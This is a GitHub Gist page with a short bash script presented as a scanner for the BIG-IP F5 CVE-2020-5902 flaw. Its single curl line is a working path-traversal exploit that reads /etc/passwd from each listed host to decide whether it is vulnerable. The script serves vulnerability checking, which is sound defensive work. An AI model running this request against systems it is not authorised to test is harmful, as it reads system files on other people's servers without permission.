Created
August 2, 2020 12:21
-
-
Save ihebski/0e7a449557776e6d072a0f9822bef1e0 to your computer and use it in GitHub Desktop.
Check for BIG-IP F5 CVE-2020-5902 over the network
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| # | |
| # BIG-IPF5(CVE-2020-5902) | |
| # | |
| # Usage : | |
| # $ echo "host1 host2 host3" | ./scanner | |
| # $ cat myservers | ./scanner | |
| # | |
| servers="$(cat)" | |
| for servers in $servers; do | |
| # command test here | |
| curl -vk --path-as-is "https://$servers/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd" 2>&1 | grep "root" >/dev/null && echo "VULNERABLE: $servers" || echo "MITIGATED: $servers" | |
| done |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment